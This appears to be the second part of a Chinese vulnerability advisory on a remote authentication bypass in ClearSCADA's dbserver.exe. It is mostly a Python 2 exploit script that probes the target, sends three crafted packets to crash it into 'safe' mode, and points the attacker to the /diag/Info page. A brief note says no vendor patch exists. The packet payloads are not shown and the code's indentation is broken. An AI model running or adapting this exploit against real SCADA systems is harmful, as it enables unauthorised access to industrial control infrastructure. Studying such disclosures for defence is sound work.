ClearSCADA 'dbserver.exe'远程身份验证绕过漏洞(2)

resp = conn.getresponse()
        conn.close()
         
    except Exception, error:
        print("Error: %s" % error)
        return None
         
    return resp

 def main():
     
    if len(sys.argv)!=2:
          print("Usage: %s <target>" % sys.argv[0])
          sys.exit(0)

target=sys.argv[1]
    cs=target,port

print "Checking server status..."

resp = do_ssl(target,s_port)
     
    if(resp == None):
        return
     
    if(resp.status==301):
        print "Server status is normal.\n"

elif(resp.status==200):
        print "Server is already in safe mode."
        sys.exit(1)

elif((resp.status!=301)|(resp.status!=200)):
        print("Server returned %d %s, server state unknown.\nContinuing anyways..\n" % (resp.status,resp.reason))
     
    print("Sending packets to trigger exception...\n")
     
    try:
        sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        sock.connect(cs)

sock.send(pkt_1)
        resp_1 = sock.recv(32)

sock.send(pkt_2)
        resp_2 = sock.recv(32)

sock.send(pkt_3)
        resp_3 = sock.recv(32)

sock.close()
         
    except Exception, error:
        print("Error: %s" % error)
        return None

print("Finished, checking server status again...")

sleep(1)

resp = do_ssl(target,s_port)
     
    if(resp == None):
        return
     
    if(resp.status==301):
          print("Server status is still normal, maybe it's patched..\n")

elif(resp.status==200):
          print("Server entered \"safe\" mode :)\n")
          print("Surf on over to https://%s:443/diag/Info to explore" % target)

elif((resp.status!=301)|(resp.status!=200)):
          print("Server returned %d %s, server state unknown." % (resp.status,resp.reason))

 if __name__ == "__main__":
    main()

建议：
厂商补丁：

ClearSCADA
 ----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：